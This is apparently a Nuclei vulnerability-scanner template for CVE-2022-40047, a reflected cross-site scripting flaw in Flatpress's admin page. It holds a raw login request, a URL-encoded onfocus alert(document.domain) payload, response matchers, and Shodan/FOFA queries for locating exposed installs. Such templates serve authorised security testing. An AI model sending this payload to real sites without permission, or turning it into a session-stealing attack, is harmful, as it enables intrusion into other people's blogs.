CVE-2022-40047: Flatpress < v1.2.1 - Cross Site Scripting

id: CVE-2022-40047

info:
  name: Flatpress < v1.2.1 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Flatpress v1.2.1 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the page parameter at /flatpress/admin.php.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40047
    - https://github.com/flatpressblog/flatpress/issues/153
    - http://flatpress.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-40047
    cwe-id: CWE-79
    epss-score: 0.3838
    epss-percentile: 0.97148
    cpe: cpe:2.3:a:flatpress:flatpress:1.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: flatpress
    product: flatpress
    shodan-query:
      - http.html:"flatpress"
      - http.favicon.hash:-1189292869
    fofa-query:
      - body="flatpress"
      - icon_hash=-1189292869
  tags: cve,cve2022,flatpress,authenticated,xss,intrusive
variables:
  randstring: "{{to_lower(rand_base(16))}}"

http:
  - raw:
      - |
        POST /login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstring}}

        ------WebKitFormBoundary{{randstring}}
        Content-Disposition: form-data; name="user"

        {{username}}
        ------WebKitFormBoundary{{randstring}}
        Content-Disposition: form-data; name="pass"

        {{password}}
        ------WebKitFormBoundary{{randstring}}
        Content-Disposition: form-data; name="submit"

        Login
        ------WebKitFormBoundary{{randstring}}--
      - |
        GET /admin.php?p=static&action=write&page=%22onfocus%3d%22alert%28document.domain%29%22autofocus%3d%22zr4da HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "flatpress")'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "onfocus=\"alert(document.domain)")'
        condition: and
# digest: 490a0046304402205a1f692bfb78c18980254da3b2cf16c681ff94ab8f85bdef37cc42bff0dc4a0a02203d76db34803371c7888e9a16021531eb6818ee3582a0133a8dabf85d222fc7d1:922c64590222798bb761d5b6d8e72950